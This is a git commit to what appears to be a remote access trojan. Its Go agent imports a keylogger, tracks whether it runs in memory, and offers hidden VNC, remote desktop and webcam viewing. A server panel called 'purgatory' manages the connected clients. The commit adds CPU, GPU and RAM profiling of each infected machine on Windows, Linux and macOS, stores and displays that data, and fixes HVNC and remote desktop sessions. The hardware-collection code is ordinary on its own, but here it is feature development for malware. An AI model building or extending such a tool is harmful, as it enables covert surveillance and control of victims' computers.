fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory

This commit is contained in:
KingKDot
2026-04-01 17:27:31 -05:00
parent 8f50f4af19
commit 02953a86e1
13 changed files with 359 additions and 13 deletions
+6
View File
@@ -25,6 +25,7 @@ import (
"overlord-client/cmd/agent/keylogger" "overlord-client/cmd/agent/keylogger"
"overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/plugins"
rt "overlord-client/cmd/agent/runtime" rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/wire" "overlord-client/cmd/agent/wire"
"nhooyr.io/websocket" "nhooyr.io/websocket"
@@ -504,6 +505,11 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
InMemory: isRunningInMemory(), InMemory: isRunningInMemory(),
} }
hw := sysinfo.Collect()
hello.CPU = hw.CPU
hello.GPU = hw.GPU
hello.RAM = hw.RAM
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err) return fmt.Errorf("send hello: %w", err)
} }
@@ -0,0 +1,11 @@
package sysinfo
type Info struct {
CPU string `json:"cpu,omitempty"`
GPU string `json:"gpu,omitempty"`
RAM string `json:"ram,omitempty"`
}
func Collect() Info {
return collectPlatform()
}
@@ -0,0 +1,45 @@
//go:build darwin
package sysinfo
import (
"fmt"
"strings"
"unsafe"
"golang.org/x/sys/unix"
)
func collectPlatform() Info {
return Info{
CPU: cpuName(),
GPU: gpuName(),
RAM: totalRAM(),
}
}
func cpuName() string {
name, err := unix.Sysctl("machdep.cpu.brand_string")
if err != nil || name == "" {
return "unknown"
}
return strings.TrimSpace(name)
}
func gpuName() string {
return "unknown"
}
func totalRAM() string {
mem, err := unix.SysctlRaw("hw.memsize")
if err != nil || len(mem) < 8 {
return "unknown"
}
total := *(*uint64)(unsafe.Pointer(&mem[0]))
gb := float64(total) / (1024 * 1024 * 1024)
if gb >= 1 {
return fmt.Sprintf("%.0f GB", gb)
}
mb := float64(total) / (1024 * 1024)
return fmt.Sprintf("%.0f MB", mb)
}
@@ -0,0 +1,99 @@
//go:build linux
package sysinfo
import (
"fmt"
"os"
"strings"
)
func collectPlatform() Info {
return Info{
CPU: cpuName(),
GPU: gpuName(),
RAM: totalRAM(),
}
}
func cpuName() string {
data, err := os.ReadFile("/proc/cpuinfo")
if err != nil {
return "unknown"
}
for _, line := range strings.Split(string(data), "\n") {
if strings.HasPrefix(line, "model name") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
return strings.TrimSpace(parts[1])
}
}
}
return "unknown"
}
func gpuName() string {
entries, err := os.ReadDir("/sys/class/drm")
if err != nil {
return "unknown"
}
var gpus []string
seen := map[string]bool{}
for _, e := range entries {
if !strings.HasPrefix(e.Name(), "card") || strings.Contains(e.Name(), "-") {
continue
}
labelPath := "/sys/class/drm/" + e.Name() + "/device/label"
if data, err := os.ReadFile(labelPath); err == nil {
name := strings.TrimSpace(string(data))
if name != "" && !seen[name] {
seen[name] = true
gpus = append(gpus, name)
continue
}
}
ueventPath := "/sys/class/drm/" + e.Name() + "/device/uevent"
if data, err := os.ReadFile(ueventPath); err == nil {
for _, line := range strings.Split(string(data), "\n") {
if strings.HasPrefix(line, "DRIVER=") {
drv := strings.TrimPrefix(line, "DRIVER=")
if drv != "" && !seen[drv] {
seen[drv] = true
gpus = append(gpus, drv)
}
}
}
}
}
if len(gpus) == 0 {
return "unknown"
}
return strings.Join(gpus, ", ")
}
func totalRAM() string {
data, err := os.ReadFile("/proc/meminfo")
if err != nil {
return "unknown"
}
for _, line := range strings.Split(string(data), "\n") {
if strings.HasPrefix(line, "MemTotal:") {
fields := strings.Fields(line)
if len(fields) >= 2 {
var kb uint64
_, err := fmt.Sscanf(fields[1], "%d", &kb)
if err != nil {
return "unknown"
}
gb := float64(kb) / (1024 * 1024)
if gb >= 1 {
return fmt.Sprintf("%.0f GB", gb)
}
mb := float64(kb) / 1024
return fmt.Sprintf("%.0f MB", mb)
}
}
}
return "unknown"
}
@@ -0,0 +1,114 @@
//go:build windows
package sysinfo
import (
"fmt"
"strings"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
func collectPlatform() Info {
return Info{
CPU: cpuName(),
GPU: gpuName(),
RAM: totalRAM(),
}
}
func cpuName() string {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\DESCRIPTION\System\CentralProcessor\0`, registry.QUERY_VALUE)
if err != nil {
return "unknown"
}
defer k.Close()
name, _, err := k.GetStringValue("ProcessorNameString")
if err != nil {
return "unknown"
}
return strings.TrimSpace(name)
}
func gpuName() string {
basePath := `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`
k, err := registry.OpenKey(registry.LOCAL_MACHINE, basePath, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return "unknown"
}
defer k.Close()
subkeys, err := k.ReadSubKeyNames(-1)
if err != nil {
return "unknown"
}
var gpus []string
for _, sub := range subkeys {
if len(sub) != 4 {
continue
}
allDigits := true
for _, c := range sub {
if c < '0' || c > '9' {
allDigits = false
break
}
}
if !allDigits {
continue
}
sk, err := registry.OpenKey(registry.LOCAL_MACHINE,
basePath+`\`+sub, registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, err := sk.GetStringValue("DriverDesc")
sk.Close()
if err != nil || desc == "" {
continue
}
gpus = append(gpus, strings.TrimSpace(desc))
}
if len(gpus) == 0 {
return "unknown"
}
return strings.Join(gpus, ", ")
}
func totalRAM() string {
type memoryStatusEx struct {
Length uint32
MemoryLoad uint32
TotalPhys uint64
AvailPhys uint64
TotalPageFile uint64
AvailPageFile uint64
TotalVirtual uint64
AvailVirtual uint64
AvailExtendedVirtual uint64
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
globalMemoryStatusEx := kernel32.NewProc("GlobalMemoryStatusEx")
var ms memoryStatusEx
ms.Length = uint32(unsafe.Sizeof(ms))
ret, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
if ret == 0 {
return "unknown"
}
gb := float64(ms.TotalPhys) / (1024 * 1024 * 1024)
if gb >= 1 {
return fmt.Sprintf("%.0f GB", gb)
}
mb := float64(ms.TotalPhys) / (1024 * 1024)
return fmt.Sprintf("%.0f MB", mb)
}
@@ -16,6 +16,9 @@ type Hello struct {
PublicKey string `msgpack:"publicKey,omitempty"` PublicKey string `msgpack:"publicKey,omitempty"`
Signature string `msgpack:"signature,omitempty"` Signature string `msgpack:"signature,omitempty"`
InMemory bool `msgpack:"inMemory,omitempty"` InMemory bool `msgpack:"inMemory,omitempty"`
CPU string `msgpack:"cpu,omitempty"`
GPU string `msgpack:"gpu,omitempty"`
RAM string `msgpack:"ram,omitempty"`
} }
type EnrollmentChallenge struct { type EnrollmentChallenge struct {
+39 -6
View File
@@ -29,6 +29,7 @@ const banModalBackdrop = document.getElementById("ban-modal-backdrop");
let currentFilter = "pending"; let currentFilter = "pending";
let searchQuery = ""; let searchQuery = "";
let clients = []; let clients = [];
const expandedCells = new Set(); // tracks "clientId:field" keys
// ── API helpers ──────────────────────────────────────────────────── // ── API helpers ────────────────────────────────────────────────────
async function api(path, opts = {}) { async function api(path, opts = {}) {
@@ -82,7 +83,7 @@ async function loadClients() {
const q = searchQuery.toLowerCase().trim(); const q = searchQuery.toLowerCase().trim();
const filtered = q const filtered = q
? clients.filter((c) => { ? clients.filter((c) => {
const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint]; const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint, c.cpu, c.gpu, c.ram];
return fields.some((f) => f && String(f).toLowerCase().includes(q)); return fields.some((f) => f && String(f).toLowerCase().includes(q));
}) })
: clients; : clients;
@@ -108,12 +109,15 @@ async function loadClients() {
<td class="px-4 py-3 text-sm font-medium text-slate-200">${esc(c.host || c.id)}</td> <td class="px-4 py-3 text-sm font-medium text-slate-200">${esc(c.host || c.id)}</td>
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.user || "-")}</td> <td class="px-4 py-3 text-sm text-slate-400">${esc(c.user || "-")}</td>
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.os || "-")}</td> <td class="px-4 py-3 text-sm text-slate-400">${esc(c.os || "-")}</td>
<td class="px-4 py-3 text-sm text-slate-400">${expandableCell(c.id, "cpu", c.cpu)}</td>
<td class="px-4 py-3 text-sm text-slate-400">${expandableCell(c.id, "gpu", c.gpu)}</td>
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.ram || "-")}</td>
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.ip || "-")}</td> <td class="px-4 py-3 text-sm text-slate-400">${esc(c.ip || "-")}</td>
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.country || "-")}</td> <td class="px-4 py-3 text-sm text-slate-400">${esc(c.country || "-")}</td>
<td class="px-4 py-3 text-sm text-slate-500 font-mono">${esc(fp)}</td> <td class="px-4 py-3 text-sm text-slate-500 font-mono">${esc(fp)}</td>
<td class="px-4 py-3 text-sm text-slate-500">${lastSeen}</td> <td class="px-4 py-3 text-sm text-slate-500">${lastSeen}</td>
<td class="px-4 py-3">${statusPill}</td> <td class="px-4 py-3">${statusPill}</td>
<td class="px-4 py-3 text-right space-x-2">${actionButtons(c)}</td> <td class="px-4 py-3"><div class="flex items-center justify-end gap-2 flex-nowrap">${actionButtons(c)}</div></td>
`; `;
body.appendChild(tr); body.appendChild(tr);
} }
@@ -136,16 +140,16 @@ function actionButtons(c) {
const status = c.enrollmentStatus || "pending"; const status = c.enrollmentStatus || "pending";
let html = ""; let html = "";
if (status !== "approved") { if (status !== "approved") {
html += `<button class="act-approve px-2 py-1 rounded text-xs font-medium bg-emerald-600 hover:bg-emerald-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-check mr-1"></i>Approve</button>`; html += `<button class="act-approve whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-emerald-600 hover:bg-emerald-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-check mr-1"></i>Approve</button>`;
} }
if (status !== "denied") { if (status !== "denied") {
html += `<button class="act-deny px-2 py-1 rounded text-xs font-medium bg-red-600 hover:bg-red-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-ban mr-1"></i>Deny</button>`; html += `<button class="act-deny whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-red-600 hover:bg-red-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-ban mr-1"></i>Deny</button>`;
} }
if (status !== "pending") { if (status !== "pending") {
html += `<button class="act-reset px-2 py-1 rounded text-xs font-medium bg-slate-600 hover:bg-slate-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-rotate-left mr-1"></i>Reset</button>`; html += `<button class="act-reset whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-slate-600 hover:bg-slate-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-rotate-left mr-1"></i>Reset</button>`;
} }
if (c.ip) { if (c.ip) {
html += `<button class="act-ban-ip px-2 py-1 rounded text-xs font-medium bg-rose-700 hover:bg-rose-800 text-white" data-id="${esc(c.id)}" title="Ban IP ${esc(c.ip)}"><i class="fa-solid fa-shield-halved mr-1"></i>Ban IP</button>`; html += `<button class="act-ban-ip whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-rose-700 hover:bg-rose-800 text-white" data-id="${esc(c.id)}" title="Ban IP ${esc(c.ip)}"><i class="fa-solid fa-shield-halved mr-1"></i>Ban IP</button>`;
} }
return html; return html;
} }
@@ -156,6 +160,21 @@ function esc(s) {
return d.innerHTML; return d.innerHTML;
} }
function expandableCell(clientId, field, value) {
const text = value || "-";
if (text === "-" || text.length <= 24) {
return `<span>${esc(text)}</span>`;
}
const key = `${clientId}:${field}`;
const isOpen = expandedCells.has(key);
const short = text.substring(0, 22) + "…";
return `<span class="hw-expand cursor-pointer select-none" data-expand-key="${esc(key)}" data-expanded="${isOpen ? "1" : "0"}">` +
`<span class="hw-short${isOpen ? " hidden" : ""}">${esc(short)}</span>` +
`<span class="hw-full${isOpen ? "" : " hidden"}">${esc(text)}</span>` +
`<i class="fa-solid fa-chevron-down text-[10px] ml-1 text-slate-500 transition-transform hw-chevron" style="${isOpen ? "transform:rotate(180deg)" : ""}"></i>` +
`</span>`;
}
function timeAgo(ts) { function timeAgo(ts) {
const diff = Date.now() - ts; const diff = Date.now() - ts;
if (diff < 60000) return "just now"; if (diff < 60000) return "just now";
@@ -236,6 +255,20 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => {
// ── Table delegation ─────────────────────────────────────────────── // ── Table delegation ───────────────────────────────────────────────
body.addEventListener("click", (e) => { body.addEventListener("click", (e) => {
// Expandable CPU/GPU cells
const expander = e.target.closest(".hw-expand");
if (expander) {
const isOpen = expander.dataset.expanded === "1";
const key = expander.dataset.expandKey;
expander.dataset.expanded = isOpen ? "0" : "1";
if (isOpen) expandedCells.delete(key); else expandedCells.add(key);
expander.querySelector(".hw-short").classList.toggle("hidden", !isOpen);
expander.querySelector(".hw-full").classList.toggle("hidden", isOpen);
const chevron = expander.querySelector(".hw-chevron");
if (chevron) chevron.style.transform = isOpen ? "" : "rotate(180deg)";
return;
}
const btn = e.target.closest("button"); const btn = e.target.closest("button");
if (!btn) return; if (!btn) return;
const id = btn.dataset.id; const id = btn.dataset.id;
+6 -3
View File
@@ -80,8 +80,8 @@
</div> </div>
<!-- Clients Table --> <!-- Clients Table -->
<div class="bg-slate-900/50 border border-slate-800 rounded-xl overflow-hidden"> <div class="bg-slate-900/50 border border-slate-800 rounded-xl overflow-x-auto">
<table class="w-full" id="enrollment-table"> <table class="w-full min-w-[1200px]" id="enrollment-table">
<thead class="bg-slate-800/50 border-b border-slate-700"> <thead class="bg-slate-800/50 border-b border-slate-700">
<tr> <tr>
<th class="w-10 px-4 py-3"> <th class="w-10 px-4 py-3">
@@ -90,6 +90,9 @@
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Host</th> <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Host</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">User</th> <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">User</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">OS</th> <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">OS</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">CPU</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">GPU</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">RAM</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">IP</th> <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">IP</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Country</th> <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Country</th>
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Key Fingerprint</th> <th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Key Fingerprint</th>
@@ -100,7 +103,7 @@
</thead> </thead>
<tbody id="enrollment-body" class="divide-y divide-slate-800"> <tbody id="enrollment-body" class="divide-y divide-slate-800">
<tr id="enrollment-loading"> <tr id="enrollment-loading">
<td colspan="10" class="px-6 py-12 text-center text-slate-500"> <td colspan="13" class="px-6 py-12 text-center text-slate-500">
<i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading... <i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading...
</td> </td>
</tr> </tr>
+22 -4
View File
@@ -67,6 +67,15 @@ try {
try { try {
db.run(`ALTER TABLE clients ADD COLUMN enrolled_by TEXT`); db.run(`ALTER TABLE clients ADD COLUMN enrolled_by TEXT`);
} catch {} } catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN cpu TEXT`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN gpu TEXT`);
} catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN ram TEXT`);
} catch {}
db.run( db.run(
`CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`, `CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
); );
@@ -232,8 +241,8 @@ export function upsertClientRow(
) { ) {
const now = partial.lastSeen ?? Date.now(); const now = partial.lastSeen ?? Date.now();
db.run( db.run(
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint) `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid), hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role), role=COALESCE(excluded.role, clients.role),
@@ -253,7 +262,10 @@ export function upsertClientRow(
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms), ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END, enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
public_key=COALESCE(excluded.public_key, clients.public_key), public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint) key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
cpu=COALESCE(excluded.cpu, clients.cpu),
gpu=COALESCE(excluded.gpu, clients.gpu),
ram=COALESCE(excluded.ram, clients.ram)
`, `,
partial.id, partial.id,
partial.hwid ?? partial.id, partial.hwid ?? partial.id,
@@ -275,6 +287,9 @@ export function upsertClientRow(
partial.enrollmentStatus ?? "pending", partial.enrollmentStatus ?? "pending",
partial.publicKey ?? null, partial.publicKey ?? null,
partial.keyFingerprint ?? null, partial.keyFingerprint ?? null,
partial.cpu ?? null,
partial.gpu ?? null,
partial.ram ?? null,
); );
if (partial.hwid) { if (partial.hwid) {
@@ -519,7 +534,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db const rows = db
.query<any>( .query<any>(
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram
FROM clients FROM clients
${whereSql} ${whereSql}
${orderBy} ${orderBy}
@@ -548,6 +563,9 @@ export function listClients(filters: ListFilters): ListResult {
enrollmentStatus: c.enrollmentStatus || "pending", enrollmentStatus: c.enrollmentStatus || "pending",
publicKey: c.publicKey || null, publicKey: c.publicKey || null,
keyFingerprint: c.keyFingerprint || null, keyFingerprint: c.keyFingerprint || null,
cpu: c.cpu || null,
gpu: c.gpu || null,
ram: c.ram || null,
thumbnail: getThumbnail(c.id), thumbnail: getThumbnail(c.id),
})); }));
@@ -293,6 +293,9 @@ export async function handleWebSocketMessage(
version: (payload as any).version || undefined, version: (payload as any).version || undefined,
user: (payload as any).user || undefined, user: (payload as any).user || undefined,
monitors: (payload as any).monitors || undefined, monitors: (payload as any).monitors || undefined,
cpu: (payload as any).cpu || undefined,
gpu: (payload as any).gpu || undefined,
ram: (payload as any).ram || undefined,
country, country,
lastSeen: Date.now(), lastSeen: Date.now(),
online: 0 as any, online: 0 as any,
@@ -268,6 +268,7 @@ export function handleConsoleViewerOpen(ws: ServerWebSocket<SocketData>) {
export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) { export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data; const { clientId } = ws.data;
const sessionId = uuidv4(); const sessionId = uuidv4();
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId); const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addRdSession(session); sessionManager.addRdSession(session);
@@ -610,6 +611,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) { export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data; const { clientId } = ws.data;
const sessionId = uuidv4(); const sessionId = uuidv4();
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId); const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addHvncSession(session); sessionManager.addHvncSession(session);
+3
View File
@@ -25,6 +25,9 @@ export type ClientInfo = {
country?: string; country?: string;
pingMs?: number; pingMs?: number;
inMemory?: boolean; inMemory?: boolean;
cpu?: string;
gpu?: string;
ram?: string;
enrollmentStatus?: EnrollmentStatus; enrollmentStatus?: EnrollmentStatus;
publicKey?: string; publicKey?: string;
keyFingerprint?: string; keyFingerprint?: string;
+6
View File
@@ -89,6 +89,9 @@ export function handleHello(
info.monitors = payload.monitors; info.monitors = payload.monitors;
info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo; info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo;
info.inMemory = !!(payload as any).inMemory; info.inMemory = !!(payload as any).inMemory;
info.cpu = (payload as any).cpu || info.cpu;
info.gpu = (payload as any).gpu || info.gpu;
info.ram = (payload as any).ram || info.ram;
const geo = ip ? geoip.lookup(ip) : undefined; const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = const countryRaw =
geo?.country || (payload as any).country || info.country || "ZZ"; geo?.country || (payload as any).country || info.country || "ZZ";
@@ -111,6 +114,9 @@ export function handleHello(
user: info.user, user: info.user,
monitors: info.monitors, monitors: info.monitors,
country: info.country, country: info.country,
cpu: info.cpu,
gpu: info.gpu,
ram: info.ram,
lastSeen: info.lastSeen, lastSeen: info.lastSeen,
online: 1, online: 1,
}); });